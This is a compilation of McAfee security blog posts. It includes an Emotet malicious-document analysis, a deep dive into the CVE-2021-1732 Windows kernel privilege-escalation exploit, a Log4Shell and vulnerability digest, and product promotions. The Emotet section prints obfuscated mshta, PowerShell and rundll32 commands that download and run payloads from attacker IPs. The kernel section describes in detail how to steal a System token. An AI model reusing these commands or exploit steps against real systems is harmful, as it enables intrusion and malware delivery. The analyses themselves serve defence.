Meanwhile, other nations saw significantly lower figures for online learning on mobile, such as Germany at 7%, France at 8%, and Japan at 11%. The U.S., Canada, and the UK all reported rates of 17%.
“With smartphones providing children as a major onramp to the internet, it follows that stronger mobile security could prevent such attacks from happening”
Something we’ve yet to mention here is how much online shopping and banking kids are doing on their mobile devices. No question, tweens and teens are doing those things too at a global rate of 25% and 12% across all age groups respectively. Not surprisingly, those numbers climb as teens approach adulthood. This serves as a reminder that our children are maturing hand-in-hand with their smartphones, which asks a few things of us as parents as they grow and adjust to their mobile world.
As with all things parenting, there are moments of where you have a sense of what’s right for you and your child, yet you’re uncertain how to act on it. That’s definitely the case with smartphones and the internet in general. Despite having grown up alongside the internet over the course of our adult lives, we can still have plenty of questions. New ones. Old ones. Ones we weren’t even aware of until they cropped up.
With that, we’re glad you’re dropping by our blog. And you’re more than invited to visit whenever you can. A big focus of ours is providing you, as a parent, with resources that answer your questions, in addition to articles about online protection in general that simply make for good reading. Our aim is to help you think about what’s best for your family and give you some ideas about how you can see that through, particularly as our children grow in this mobile world of ours.
The post A Look Beyond Their Lock Screens: The Mobile Activity of Tweens and Teens appeared first on McAfee Blog.
Authored By: Kiran Raj
In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:
Hexadecimal format: 0xb907d607
Octal format: 0056.0151.0121.0114
Decimal format: 185.7.214.7
This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.
Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.
On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.
Below are the commands used in Hexadecimal and Octal variants of the Maldocs
| FORMAT | OBFUSCATED CMD | DEOBFUSCATED CMD |
| Hexadecimal | cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html | http://185[.]7[.]214[.]7/fer/fer.html |
| Octal | cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html | http://46[.]105[.]81[.]76/c.html |
On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.
The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code
The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.
| cmd line | (New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’) |
The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server
| cmd line | cmd /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString |
| TYPE | VALUE | SCANNER | DETECTION NAME |
| XLS | 06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c | McAfee LiveSafe and Total Protection | X97M/Downloader.nn |
| DLL | a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3 | McAfee LiveSafe and Total Protection
|
Emotet-FSY |
| HTML URL | http://185[.]7[.]214[.]7/fer/fer.html
http://46[.]105[.]81[.]76/c.html |
WebAdvisor | Blocked |
| DLL URL | http://185[.]7[.]214[.]7/fer/fer.png
http://46[.]105[.]81[.]76/cc.png |
WebAdvisor | Blocked |
| TECHNIQUE ID | TACTIC | TECHNIQUE DETAILS | DESCRIPTION |
| T1566 | Initial access | Phishing attachment | Initial maldoc uses phishing strings to convince users to open the maldoc |
| T1204 | Execution | User Execution | Manual execution by user |
| T1071 | Command and Control | Standard Application Layer Protocol | Attempts to connect through HTTP |
| T1059 | Command and Scripting Interpreter | Starts CMD.EXE for commands execution | Excel uses cmd and PowerShell to execute command |
| T1218
|
Signed Binary Proxy Execution | Uses RUNDLL32.EXE and MSHTA.EXE to load library | rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript |
Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.
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You can feel even more confident that you’ll enjoy life online with us at your side. AV-Comparatives has awarded McAfee as its 2021 Product of the Year.
McAfee makes staying safe simple, and now this endorsement by an independent lab says we protect you best.
Over the course of 2021, AV-Comparatives subjected 17 different online protection products to a series of rigorous tests. Their labs investigated each product’s ability to protect against real-world Internet threats, such as thousands of emerging malicious programs and advanced targeted attacks, along with the ability to provide protection without slowing down the computer.
McAfee topped the field, taking home the award for AV-Comparatives’ Product of the Year thanks to our highest overall scores across the seven different testing periods throughout the year. McAfee further took a Gold Award for the Malware Protection Test, in addition to recognition for its clean, modern, and touch-friendly design and for the way that McAfee Firewall coordinates perfectly with Windows.
“We’re honored by the recognition,” says Chief Technology Officer, Steve Grobman. “The strong reputation that AV-Comparatives carries in the industry cements our place as a leader in online protection.” He goes on to say, “Our work continues. The internet is evolving to be integral to every part of our lives. This creates new opportunities for cybercriminals and drives the evolution of the threat landscape. McAfee is committed to staying one step ahead of these sophisticated threats, ensuring customers can safely utilize the full value of our online world.”
Read the full AV-Comparatives annual report and protect yourself and your family with the year’s top-rated antivirus. Give it a look for yourself with a free 30-day trial of McAfee Total Protection, which includes McAfee’s award-winning anti-malware technology plus identity monitoring, Secure VPN, and safe browsing for an all-in-one online protection.
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People have made it clear. They’re feeling more exposed to online threats and want stronger protection.
Our 2022 Trends Study puts figures to these feelings, saying that they believe the risks to their online privacy have increased over the past year. Moreover, 42% believe the risks to their personal and financial information have increased as well.
These findings come as more consumers shift their daily lives online, with greater use of internet banking, more investment in virtual assets, and a proliferation of online activities due to COVID-19. A lot more sensitive personal information is being stored and shared on the web, which is putting increased pressure on passwords and security measures.
As more sensitive personal information is being stored and shared on the web, people are showing a strong preference for increased security overall. For example, when asked to choose between connecting with others from anywhere to always being fully protected, the response was overwhelming in favor of strong protection (63%) over ease of connection (16%). The same sentiment extended to the workplace, where “work meetings that are guaranteed seamless” trailed significantly at 14% versus “meetings that are guaranteed secure” at (62%).
Curious as to what steps you can take to be safer online? A few tools along with a few good habits can go a long way toward keeping your privacy and identity secure.
1. Install and use online protection software: By protecting your devices, you protect what’s on them, like your personal information. Comprehensive online protection software can protect your identity in several ways, like steering you clear of malicious downloads and links, protecting your email from phishing attacks, and providing you with a digital shredder that can permanently remove sensitive documents from your computer (simply deleting them won’t do that alone).
2. Use a VPN: A VPN is a Virtual Private Network, a service that protects your data and privacy online. It creates an encrypted tunnel to keep you anonymous by masking your IP address while connecting to public Wi-Fi hotspots. This is a great way to shield your information from crooks and snoops while you’re banking, shopping, or handling any kind of sensitive information online.
3. Improve your passwords and use multi-factor authentication (MFA): Strong, unique passwords for each of your accounts, updated regularly, offer a strong line of defense against attackers. While this may require a bit of effort, a password manager can do the work for you by securely creating and storing strong, unique passwords for you. Comprehensive online protection software will include a password manager as one of its many features. Additionally, MFA adds yet another layer of security by double-checking your identity beyond your username and password, usually with a text or email. If any of your accounts offer MFA, consider using it.
4. Monitor your accounts: Give your statements a close look each time they come around. While many companies and institutions have fraud detection mechanisms in place, they don’t always catch every instance of fraud. Look out for strange purchases or charges and follow up with your bank or credit card company if you suspect fraud. Even the smallest charge could be a sign that something shady is afoot.
5. Check your credit report: This is a powerful tool for spotting identity theft. And in many cases, it’s free to do so. In the U.S., the Fair Credit Reporting Act (FCRA) requires the major credit agencies to provide you with a free credit check at least once every 12 months. Canada provides this service, and the UK has options to receive free reports as well, along with several other nations. It’s a great idea to check your credit report, even if you don’t suspect a problem.
6. Consider using identity protection: In addition to checking your own credit report, an identity protection service provides yet deeper monitoring of your personal information. Identity protection such as ours monitors up to 60 different pieces of vital personal information and notifies you of potential misuse—up to ten months sooner than similar services. In addition to this around-the-clock monitoring, it also provides up to $1 million in coverage for lawyer fees, travel expenses, lost wages, and more.
The post Today’s Trends: Consumers Prioritize Protection Over Convenience appeared first on McAfee Blog.
In February 2021, the company Dbappsecurity discovered a sample in the wild that exploited a zero-day vulnerability on Windows 10 x64.
The vulnerability, CVE-2021-1732, is a win32k window object type confusion leading to an OOB (out-of-bounds) write which can be used to create arbitrary memory read and write capabilities within the Windows kernel (local Elevation of Privilege (EoP)). Memory exploitation generally requires a read, write, and execute primitive to bypass modern exploit mitigations such as DEP, ASLR and CFG on hardened operating systems such as Windows 10. A data-only attack requires only a read and write primitive as it does not seek to execute malicious code in memory, but rather manipulates data structures used by the operating system to its advantage (i.e., to achieve elevated privileges).
Kernel exploits are usually the most sophisticated attack as they interact directly with the Windows kernel. When such attacks are successful, they are critical because they provide high privileges to the attacker, which can be used to increase the impact of the overall exploit chain. In this case the exploit is a Local Privilege Escalation (LPE) that targets 64-bit Windows 10 version 1909. The original sample discovered was compiled in May 2020 and reported to Microsoft in December 2020. While searching for additional findings we went through a public exploit published in March of 2021 by a researcher. Having this code publicly available may raise the potential for additional threat attackers. While we have not found clear evidence demonstrating malicious use of the proof-of-concept (POC), we did discover some variants being tested and uploaded to VirusTotal.
In this blog post, McAfee Advanced Threat Research (ATR) performed a deep dive into the analysis of the vulnerability, to identify the primitives for detection and protection. The exploit is novel in its use of a new win32k arbitrary kernel memory read primitive using the GetMenuBarInfo API, which to the best of our knowledge had not been previously known publicly.
Exploitation of CVE-2021-1732 can be divided into six stages with the end goal of escalating a process’ privileges to System. The following diagram shows the stages.
Before we dive into the details, we must give some background to win32k exploitation primitives which are used in the exploitation of CVE-2021-1732.
Win32k is a Graphical (GUI) component of the Microsoft Windows Subsystem, most of which exists in the kernel for performance reasons. It is used for graphical print of the Windows OS desktop. However, due to the win32k architecture, the kernel component of win32k still needs to be able to make calls to user mode through user-mode callback functions to facilitate window creation and management.
Kernel user-mode callbacks have been well researched as far back as 2008 and 2010, with a very comprehensive analysis in 2011 by Mandt. A win32k kernel function such as xxxCreateWindowEx will make a callback function such as xxxClientAllocWindowClassExtraBytes through the user process PEB KernelCallbackTable.
When the user-mode callback has completed, NtCallbackReturn executes and passes the expected return parameter back to the kernel. Due to the stateless nature of these callbacks, many vulnerabilities have been discovered related to the locking mechanisms on the objects leading to use-after-free (UAF) exploitation.
Win32k has been one of the most exploited components in the Windows kernel accounting for 63% of vulnerabilities from 2010 to 2018, due to its large attack surface of syscalls relative to ntdll syscalls. Win32k vulnerabilities are generally turned into data-only attacks using a read/write kernel primitive by using a desktop object known as a tagWND data structure.
There are two aspects to data-only attacks:
The tagWND data structure has two fields which make it a prime target for reading/writing within kernel memory; tagWND.cbWndExtra and tagWND.ExtraBytes. When a window is created using CreateWindowEx, it is possible to request additional bytes of memory directly after the tagWND object in memory through the cbWndExtra field in the WNDCLASSEXA structure when registering the window class.
The number of extra bytes is controlled by the cbWndExtra field, and the allocated additional memory address is located at the ExtraBytes field. The read/write primitive is created as follows:
Win32k kernel user-mode callbacks have been exploited many times by leveraging tagWND read/write capabilities within the Windows kernel for escalation of privileges such as CVE-2014-4113, CVE-2015-0057, MS15-061, CVE-2016-7255 and CVE-2019-0808.
Several primitives have been observed in the CVE-2021-1732 exploit used by the attackers; additionally, it is worth mentioning that some of them are new and not previously seen in the wild.
Prior to Windows RS4 it was trivial to leak tagWND kernel addresses using multiple techniques, such as calling HMValidateHandle to copy tagWND objects from the kernel to user desktop heap. The latest version of Windows 10 has been hardened against such trivial techniques.
However, using the spmenu kernel address leak technique and relative tagWND desktop heap offsets, once a vulnerability is discovered to overwrite a tagWND.cbWndExtra field, it is possible to achieve kernel read/write capabilities without leaking the actual tagWND kernel addresses. The spmenu technique in this exploit was used here and here, but we are not aware of the GetMenuBarInfo API ever being used before in a win32k exploit.
The following diagram shows the primitives used in CVE-2021-1732.
Great work has been done to harden the security of win32k against EoP attacks with new and improved mitigations by the Microsoft OSR team, Mandt, Google Project Zero, Schenk and Dabah. These mitigations include:
In the context of a malicious process exploiting CVE-2021-1732, the above mitigations provide no protection. However, it does not impact Google Chrome as it disallows win32k calls (Windows 8 and higher), or Microsoft Edge as it applies win32k filtering on the relevant APIs.
When a window is created using CreateWindowEx API, a tagWND object is created by the Windows operating system. This window, as explained above, can be created with a parameter to allocate extra memory using cbWndExtra.
During the windows creation process (CreateWindowEx API) a callback named xxxClientAllocWindowClassExtraBytes is triggered to allocate space in the user mode desktop heap for the tagWND.ExtraBytes (offset 0x128) per the tagWND.cbWndExtra (offset 0xc8) value size (see figure 3 and 4 below for WND1).
The location of this memory is stored as a user mode memory pointer to the desktop heap and placed at tagWND.ExtraBytes. It is then possible to convert the normal window to a console window using NtUserConsoleControl which will convert that user mode pointer at tagWND.ExtraBytes to an offset value which points into the kernel desktop heap (see figure 5 below for WND0). It is this change in value at tagWND.ExtraBytes (window type confusion) that can be exploited for an OOB write during the xxxClientAllocWindowClassExtraBytes callback window.
Per figure 6 above the following steps are required to trigger the vulnerability:
5. WND0 is then converted to a console window by calling NtUserConsoleControl which converts WND0.ExtraBytes from a user desktop heap pointer to an offset within the kernel desktop heap. This is needed later so that WND0 can write OOB to WND1.
6. Create malicious window WND_Malicious using the CreateWindowEx API
The vulnerability lies in the fact that win32kfull!xxxCreateWindowEx does not check whether the window type has changed between the time it initiates the xxxClientAllocWindowClassExtraBytes and gets the response from NtCallbackReturn.
When we call NtUserConsoleControl with WND_Malicious in the hook above, xxxConsoleControl checks if tagWND+0xE8 flag has been set to 0x800 to indicate a console window per figure below. As WND_Malicious was created as a normal window, xxxConsoleControl allocates memory at an offset within the kernel desktop heap and then frees the user desktop heap pointer existing at WND_Malicious.ExtraBytes (0ffset 0x128). It then places the offset to this new allocation in the kernel heap at WND_Malicious.ExtraBytes (0ffset 0x128) and sets the tagWND+0xE8 flag to 0x800 to indicate it’s a console window.
After returning from the callback when we issued NtCallbackReturn above, xxxCreateWindowEx does not check that the window type has changed and places the WND0+0x08 at WND_Malicious.ExtraBytes per figure 9 below. The RedirectFieldpExtraBytes checks the WND_Malicious.ExtraBytes initialized value but it is too late as WND0+0x08 has already been written to WND_Malicious.ExtraBytes (offset 0x128).
The patched win32kfull.sys has updated xxxCreateWindowEx to now check the ExtraBytes initialized value before writing the returned value from user mode to tagWND. ExtraBytes (offset 0x128) per figure 10 below.
Figure 11 below shows that tagWND. ExtraBytes is initialized to zero within xxxCreateWindowEx during normal window creation.
Figure 12 below shows that tagWND. ExtraBytes is initialized to the new offset value in the kernel desktop heap within xxxConsoleControl during console window creation. RedirectFieldpExtraBytes simply checks this initialized value to determine if the window type has changed. In addition, Microsoft have also added telemetry for detecting changes to the window type flag in the patched version.
The vulnerability within the xxxCreateWindowEx API allowed the WND_Malicious.ExtraBytes field be to set to a value of WND0 offset within the kernel desktop heap. Now any time SetWindowLongW is called on WND_Malicious it will write to WND0. By supplying an offset of 0xc8, the function will overwrite the WND0.cbWndExtra field to a large value of 0XFFFFFFF per figures 13 and 14 below.
This means it can write beyond its tagWND structure and ExtraBytes in kernel memory to fields within WND1. In addition, WND0.ExtraBytes is also overwritten with the offset to itself so calls to SetWindowLongPtrA on WND0 will write to an offset in kernel desktop heap relative to the start of WND0.
Now that the WND0.cbWndExtra field has been set to a very large value (0xFFFFFFF), anytime SetWindowLongPtrA is called on WND0 it will write into the adjacent WND1 in kernel memory per figure 15 below. By writing to specific fields in WND1 we can create a kernel address memory leak as follows:
Using the spmenu data structure kernel pointer leaked previously we can use the layout of this data structure and the GetMenuBarInfo API logic to turn it into an arbitrary kernel memory read per figures 18,19 and 20 below.
As you can see from the xxxGetMenuBarInfo function in figures 21 and 22 below, by placing our leaked kernel address at the right location in our fake spmenu data structure we can create an arbitrary kernel memory read when calling GetMenuBarInfo.
An arbitrary kernel write primitive can be easily achieved now by writing our destination address to WND1.ExtraBytes field by calling SetWindowLongPtrA on WND0 which will write OOB to WND1 relative to the offset we specify per figure 23 below
In this case the offset is 0x128 which is ExtraBytes. Then simply calling SetWindowLongPtrA on WND1 will write a specified value at the address placed in the WND1.ExtraBytes field. The arbitrary write is achieved because WND1 is a normal window (has not been converted to a console window like WND0 and WND_Malicious) and so will write to whatever address we place in WND1.ExtraBytes.
The arbitrary kernel read and write primitives can be combined to perform a data-only attack to overwrite a malicious process EPROCESS token with that of PID 4 which is System for an escalation of privilege (EoP).
The original spmenu kernel address leaked previously has a pointer to WND1 at offset 0x50 per figures 24 and 25 below. Through multiple arbitrary reads using the GetMenuBarInfo on our fake spmenu data structure with this WND1 kernel address we can eventually read the PID 4 System EPROCESS token.
By placing the destination address (malicious process EPROCESS token) at WND1.ExtraBytes then the subsequent call to SetWindowLongPtrA will write the value (PID 4 – System EPROCESS token) to that address per figures 26 and 27 below.
The exploit then restores overwritten data structure values once the EoP is complete to prevent a BSOD (Blue Screen of Death).
In this report, we undertook a deep analysis of CVE-2021-1732 which is a Local Privilege Escalation on Windows 10. Windows kernel data-only attacks are difficult to defend against, as once a vulnerability is discovered they use legitimate and trusted code through specific APIs to manipulate data structures in kernel memory.
The win32k component has been hardened through great work by Microsoft against read/write primitives, but there are still opportunities for exploitation due to its large attack surface (syscalls and callbacks) and lack of win32k filtering on a process-wide basis. It would also be great to see a system wide win32k filtering policy capability within Windows 10.
Patching is always the best solution for vulnerabilities, but a strong defense strategy such as threat hunting is also required where patching may not be possible, and to detect variants of vulnerabilities/exploits being used by campaigns.
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If you’re reading these words, CONGRATULATIONS! You’ve made it to 2022! And even better, you found your way to ATR’s monthly security digest where we discuss our favorite vulnerabilities of the last 30 days. Feel free to pat yourself on the back, get yourself a nice cup of coffee, tea, LaCroix (you fancy!) or if you’d rather choose violence, you can go straight for the energy drink. And now that we are comfortable and energized, let’s get rolling!
Per its Wikipedia entry, Grafana is a multi-platform open-source analytics and interactive visualization web application that is widely used in the industry, with paying customers such as Bloomberg, eBay, PayPal, etc. It was revealed in early December that a path traversal vulnerability allowed an attacker to access local files due to an improper sanitization of “../../../” in its plugin path.
It also showcases one of the tightest disclosure timelines known to man:
Ok, we can hardly blame you for hearing about ANY vulnerabilities except for Log4Shell in the last 30 days. However, if your organization is using this software, you probably should have followed the disclosure last month, lest your “/etc/passwd” files are now known to the whole internet. Beyond that, there are two interesting points you can ponder while swirling your eggnog in its glass (side-rant on the disgustingness of eggnog redacted). Given how easy it is to exploit, the mere fact of the vendor fixing the bug via their public GitHub seems to have been enough to bring attention to it and get public working POCs for this vulnerability in less than 3 days following the fix. If you’re curious about how more mature open-source code bases deal with this risk, projects like Chromium rely on a separate bug tracking infrastructure that can restrict who can access the bug reports (that will spell out the security risks and test cases) combined with public commit messages with simple phrasing meant to avoid attracting the attention on the security commits.
Another interesting tidbit, the root cause of this bug is the misuse of a Go API to sanitize paths as discussed in this Twitter thread. It turns out the filepath.Clean function used to sanitize the input processed by the vulnerable code only removes excessive “../../” if the path is absolute. This is a common case of an API behaving as expected but leading to dangerous consequences. Do you know for sure the codebase of your organization is free of these problems? The impact of unpatched vulnerabilities here could be the accessing or leaking of extremely sensitive data. *pondering becomes frantic*
Obviously update the software if you’re using it, and you can also use Sigma rules to detect attack attempts. In an ideal world, your analytics platform should not be exposed to the wide internet, unlike these 87k instances, among whose 16k are still vulnerable according to Shodan. At minimum make sure your Grafana instance is behind a .htaccess prompt or similar. From a development perspective, security testing and unit tests should be leveraged to ensure the filtering you are putting in place is working the way it is intended to. And in the grand scheme of things, if you are going to process untrusted user input, don’t wing the filtering and apply thoroughly audited code patterns rather than disabling the warnings of your security tool…
“Does the walker choose the path, or the path the walker?” may have mused Garth Nix in his novel Sabriel. One thing is certain though, the path described above won’t be “walked” nor traversed by an attacker for the McAfee Network Security Platform (NSP) customers. These lucky fellows are already protected against path traversal attacks via a generic rule and can even be bestowed further protection with the creation of “custom attack” rules.
Who could have known that parsing—and sometimes even executing—untrusted input was a bad idea? Well it turns out that Apache’s log4j logging code does exactly that, and if the logged string contains the magic characters $(jdni:…) it may even fetch and execute untrusted Java code. Iterations on this attack have also highlighted the possibility to leak local secrets stored in environment variables—such as AWS keys—and given the recursiveness of the processing, it also offers many ways to evade pattern-matching detection.
Pretty much everyone. You write Java and are into logging things? Yep, you should be on top of this. You use Java based applications/servlets? Well, there’s probably some logging of untrusted user input in there. Your corporate employer uses Java based appliances or services? Pour one for your SOC and IT folks who are probably having a blast over their holiday “break”. You get it, this problem impacts the whole industry, and in all likelihood, its effects will probably keep rippling out for the years to come. To make things worse, the bug is really easy to exploit. From pen testers to SOC analysts, “script-kiddies” to nation state actors, nearly everyone has begun to explore this attack vector and we have observed massive on-going attacks with a wide gamut of payloads, ranging from cryptominers to “rm -rf /*” payloads and even a broken attempt to spread the Mirai worm. The worst is likely yet to come.
“Stranger Things” taught us that “You can’t spell America without Erica.” Similarly, you can’t spell Apache without Patch. Sort of. Upgrade! Micro-patch. Monitor traffic. Hint: if you’re internal-only application suddenly makes LDAP requests towards a remote server in a country you have no operations in, maybe something fishy is going on…
If you like chaos and and/or you are having a hard time convincing IT of the importance of this bug, get permission to demonstrate it for them! Then, set strings you can control (user-agent, twitter name, wifi SSID, …) to this $(jdni:ldap…) magic value and make it point to an IP:Port you control (or a third party service like Canarytoken if you trust them). If you detect hits on that address, you can start having a fun conversation about the necessity of upgrading their tech stack with the owners of the incoming addresses. This is where asking for permission first becomes extremely important, as if you indiscriminately put the magic string all over the places to see what happens (as you may have seen on various social media platforms), it’s likely that eventually someone will reach out to have a “fun” conversation with you and ask about that funky user-agent of yours. Obviously, before pulling a stunt like this consider that the last thing you want for Christmas is a CFAA (Computer Fraud and Abuse Act) complaint delivered right to your doorstep.
McAfee Enterprise customers are protected from many different angles (for the specifics, please visit this Knowledge Base article):
Big Sig sounds like the nickname Freud’s mother gave him. This bug is no less compelling. Early this December, Google Project Zero blogged about a vulnerability they found in Mozilla’s Network Security Services (NSS) with a CVSS score of 9.8, according to NIST’s National vulnerability database page. There is a heap overflow in the processing of certain signatures (DER-encoded DSA and RSA-PSS signatures). To put it simply, the NSS is a collection of cryptographic libraries that enable developers to use safer/heavily tested implementations of cryptographic primitives and standards (for encryption of communication, verification of the authenticity of data, and so on). The feature where the bug was found is responsible for the verification of signatures that prove the authenticity of data using various public cryptography schemes. This type of function is typically used to sign emails or documents to confirm their actual authors. Something really interesting about this bug is its relative simplicity but also its long existence; according to Project Zero’s blog, this bug was exploitable going all the back to 2012. The vulnerable code path just happened to fall between the cracks where various fuzzers used by Mozilla overlap.
If you like your signatures to be verified, and rely on the NSS library to do so, you should definitely have a look at the advisory and use the latest version of the software (NSS version 3.73/3.681 ESR or later). Firefox seems unaffected, but other software that parses signatures might be impacted (Thunderbird, LibreOffice, Evolution, Evince and more).
As usual, you want to make sure any software you are using that might be vulnerable is updated to its latest version. The patch was released on December 1st so, for starters, you’d want to make sure potential vulnerable software received an update after this date. It would also help to know which software relies on this library; while there is no magic bullet, references to files such as nss3.dll on Windows or libnss3.so on Linux are a good starting point. Beyond that, the best call is to look at release notes and potential list of third-party libraries used in any given application you may use. If you use the vulnerable library in in your own product, update the code or backport the patch.
Have you checked out our bulletins? They’re a great source of information for the critical vulnerabilities you may have missed! This may include applications that will be deploying fixes for CVE-2021-43527.
The post The Bug Report – December 2021 appeared first on McAfee Blog.
With digital life-changing so rapidly, it’s time for a new way to protect it. Welcome to McAfee Forward—the future of online protection today.
As all that change reshapes how we spend our time online, we believe that one thing remains constant: meaningful protection is a personal right. Your right. That’s how we see it here at McAfee, and we want you to go forward and enjoy your digital life with confidence. Confident that you’re safe as you bank and shop online, sure. Yet also confident as you consult your doctor online, track your fitness routines, order a pizza with the sound of your voice, start your car with your smartphone, and simply do what’s next—the umpteen other innovations yet imagined, all thanks to the internet.
So what does the future of online protection look like? You. While different technologies may come and go, the one thing that won’t change is you. The person using them. That’s why our focus is on you, your privacy, identity, and overall security, no matter what device, app, or platform you’re doing or what you’re doing it on.
No doubt about it, life online will continue to change how we go about our day in lively and unexpected ways. You have a right to enjoy it all. And you can leave that to us. We thrive on what’s new and different—and then protecting it so you can get the most out of it.
That future of online protection is indeed here today. We’ve already rolled out major updates and industry firsts that look out for you online, particularly your privacy and identity. There’s much more to come in the weeks and months ahead. Because you have a right to a life that’s always safe and enjoyable online, whatever shape it takes in the days to come.
Here’s to living that life with confidence, and to what’s on the horizon. Through it all, we have your back.
The post Welcome McAfee Forward—the Future of Online Protection Today appeared first on McAfee Blog.
Log4j/Log4shell is a remote code execution vulnerability (RCE) in Apache software allowing attackers unauthenticated access into the remote system. It is found in a heavily utilized java open-source logging framework known as log4j. The framework is widely used across millions of enterprise applications and therefore a lucrative target for threat actors to exploit. The availability of the POC exploit and ease of exploitation triggered the widespread exploitation attempts that we are now witnessing.
CVE-2021-44228 – Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation.
Should the vulnerability be present, an attacker might run arbitrary code by forcing the application or server to log a specific string. This string can force the vulnerable system to download and run a malicious script from the attacker-controlled system, which would allow them to effectively take over the vulnerable application or server.
A full technical analysis can be found here:
McAfee Advanced Threat Research: Log4Shell Vulnerability is the Coal in our Stocking for 2021
In this blog, we present an overview of how you can mitigate the risk of this vulnerability exploitation with McAfee Enterprise solutions. Due to the severity of this vulnerability and the observed exploitation attempts already taking place, the KB article linked below will be continually updated to communicate detailed actions to mitigate risk with McAfee Enterprise products. Subscribe to this KB article to receive updates pertaining to related coverage and countermeasures.
KB95091: McAfee Enterprise coverage for Apache Log4j CVE-2021-44228 Remote Code Execution
Organisations preparing to defend against this threat needs to think beyond the initial access vector. What the vulnerability allows a threat actor to do is initially only connect to a remote endpoint and establish a beachhead. The attacker only gets a return on investment when they can exploit that initial foothold either to move laterally, execute additional payloads on the endpoint or attack other organisations as part of a botnet. Instead of just focusing on the initial access vector, let’s look at the entire defensive kill chain.
The impact on organisations varies between resource takeover, denial of service or data theft. Therefore, making visibility in attack patterns and trend via threat intelligence extremely critical. In addition, other attack vectors have been discovered which allows for local exploitation of the log4j library over WebSocket.
Let’s walk through the defense lifecycle in more details
Threat Intelligence is critical to adapt security controls and gain an understanding of attacker techniques and active campaigns exploiting the vulnerability
The MVISION Insights platform reports threat intelligence related to the Log4j attacks under the campaign name Log4Shell – A Log4j Vulnerability – CVE-2021-44228.
The Global Prevalence map snapshots captured on the 10th and 16th December 2021 demonstrates how impactful has being the vulnerability so far and how fast activity, both defender and attack, is increasing and spreading worldwide.
MITRE Techniques Observed:
As we are writing this blog, on MVISION Insights there are 1,813 IOCs including MD5, SHA256, URL, IP, DOMAIN, HOSTNAME. In terms of Determinism, 1,632 are unique and 30 are commodity.
The top MD5 detected so far has been related to Kinsing (MD5: 648effa354b3cbaad87b45f48d59c616), a crypto miner with backdooring features. The file runs on Linux machines and has been uploaded on Virus Total for the first time in December 2020. Its detection increased by 161% between the 11th and the 15th of December 2021 and it is currently observed in 19 different countries. The log4j vulnerability is helping threat actors to push Kinsing malware via encoded payloads to vulnerable services exposed to the internet. And this is just the tip of the iceberg. We are actively monitoring for and analyzing new payloads.
The same unique indicator is also reported as part of other two threat campaign on MVISION Insights:
Since April 2020, when the Kinsing crypto miner was discovered, further developments of the malware have occurred including a rootkit component and other features that make detection harder. Kinsing comes with multiple shell scripts that download and install the backdoor, miner, and rootkit alter the system itself.
The IP address 45.155.205[.]233 included within the MVISION Insights IOCs and used by threat actor as a log4j callback attack server has been detected 6,884 times by December 4th topping 15,106 detections by December 7th. Most detected countries included the United States, Turkey, Thailand, UK, Taiwan, and Italy.
MVISION Insights also includes indicators related to unique variants of MIRAI botnet that McAfee observed being leveraged by threat actors to exploit the log4j vulnerability.
Shell scripts are using wget and curl tools for external communication as part of the attack chains analyzed.
Latest updates highlighted Conti ransomware group actively leveraging the Log4Shell exploit to gain access to internal corporate resources and lunch their malicious payloads. But also, Khonsari group and state sponsored APT35 have been reported by researchers.
In this case, you should detect and prioritise internet facing applications running java-based web servers such as Apache Tomcat, either isolate or patch these resources. Run vulnerability scans for both monolithic and containerized workloads to build an inventory of assets that might be impacted.
Continuously discovers your cloud resources and can run vulnerability scans for Virtual Machines and Containerized workloads in the cloud. MVISION Cloud has the ability to build an inventory of running processes within workloads as part of it application control capabilities. If log4j is used as a separate package we will detect the vulnerability in both runtime and container registry. If the log4j is included in the java binary we will not be able to scan it.
Ensure you run configuration audits for cloud assets that allow unrestricted outbound access and does not use firewalls or NAT GW’s for outbound connections. Run configuration audits for secondary misconfigurations that might allow the attacker to exploit IAM to elevate privileges, gain persistence or takeover other resources.
Compares the available defensive capabilities on the endpoint to the attacker techniques, tools and IOC’s and highlights exposed endpoints.
You can perform real time searches in MVISION EDR to identify endpoints with Log4j binaries.
The attacker only succeeds if they can get to this stage so blocking outbound suspicious connections, preventing execution of additional payloads, and protecting credentials/auth tokens theft are things that could prove to be critical in defeating the attack. As part of the available threat intelligence attackers are using several post exploit methodologies to pivot from the original log4j injection vulnerability. This varies from misuse of resources with crypto miners, deploying malware, or exfiltrating sensitive information.
Use Application Control (VM and Containers) to kill unverified server processes and payloads from executing.
OS Hardening (VM) – ensure that SE Linux state is enforcing
Use UCE URL filtering and Remote Browser Isolation to prevent browser-based exploit attempts over WebSocket and C2 attempts.
Use signature-based protection in ENS 10.7 to block known hashes of second stage malicious payloads. On December 12, 2021, McAfee Enterprise released V3 AMCore content 4648 (ENS) and V2 DAT 10196 (VSE). Generic detections are provided under the title Exploit-CVE-2021-44228.C.
In ENS (Endpoint Security) 10.7 update 4 and above, there is a powerful security feature available to every defender, which is the ability to trigger a memory scan from an Expert Rule. For more details on this capability, please see this blog post from our AC3 team
https://www.mcafee.com/blogs/enterprise/log4j-and-the-memory-that-knew-too-much
